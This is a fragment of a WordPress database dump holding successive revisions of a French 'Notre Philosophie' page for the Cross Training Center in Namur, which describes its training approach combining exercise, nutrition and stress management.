(299, 1, '2013-07-04 19:10:38', '2013-07-04 19:10:38', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:10:38', '2013-07-04 19:10:38', '', 5, 'http://www.crosstrainingcenter.be/5-revision-45/', 0, 'revision', '', 0),
(301, 1, '2013-07-04 19:11:52', '2013-07-04 19:11:52', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:11:52', '2013-07-04 19:11:52', '', 5, 'http://www.crosstrainingcenter.be/5-revision-47/', 0, 'revision', '', 0),
(300, 1, '2013-07-04 19:11:13', '2013-07-04 19:11:13', '&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:11:13', '2013-07-04 19:11:13', '', 5, 'http://www.crosstrainingcenter.be/5-revision-46/', 0, 'revision', '', 0),
(302, 1, '2013-07-04 19:13:28', '2013-07-04 19:13:28', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:13:28', '2013-07-04 19:13:28', '', 5, 'http://www.crosstrainingcenter.be/5-revision-48/', 0, 'revision', '', 0),
(303, 1, '2013-07-04 19:14:58', '2013-07-04 19:14:58', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 100px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:14:58', '2013-07-04 19:14:58', '', 5, 'http://www.crosstrainingcenter.be/5-revision-49/', 0, 'revision', '', 0),
(304, 1, '2013-07-04 19:15:48', '2013-07-04 19:15:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 20px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:15:48', '2013-07-04 19:15:48', '', 5, 'http://www.crosstrainingcenter.be/5-revision-50/', 0, 'revision', '', 0),
(305, 1, '2013-07-04 19:16:05', '2013-07-04 19:16:05', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 900px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:05', '2013-07-04 19:16:05', '', 5, 'http://www.crosstrainingcenter.be/5-revision-51/', 0, 'revision', '', 0),
(306, 1, '2013-07-04 19:16:23', '2013-07-04 19:16:23', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; 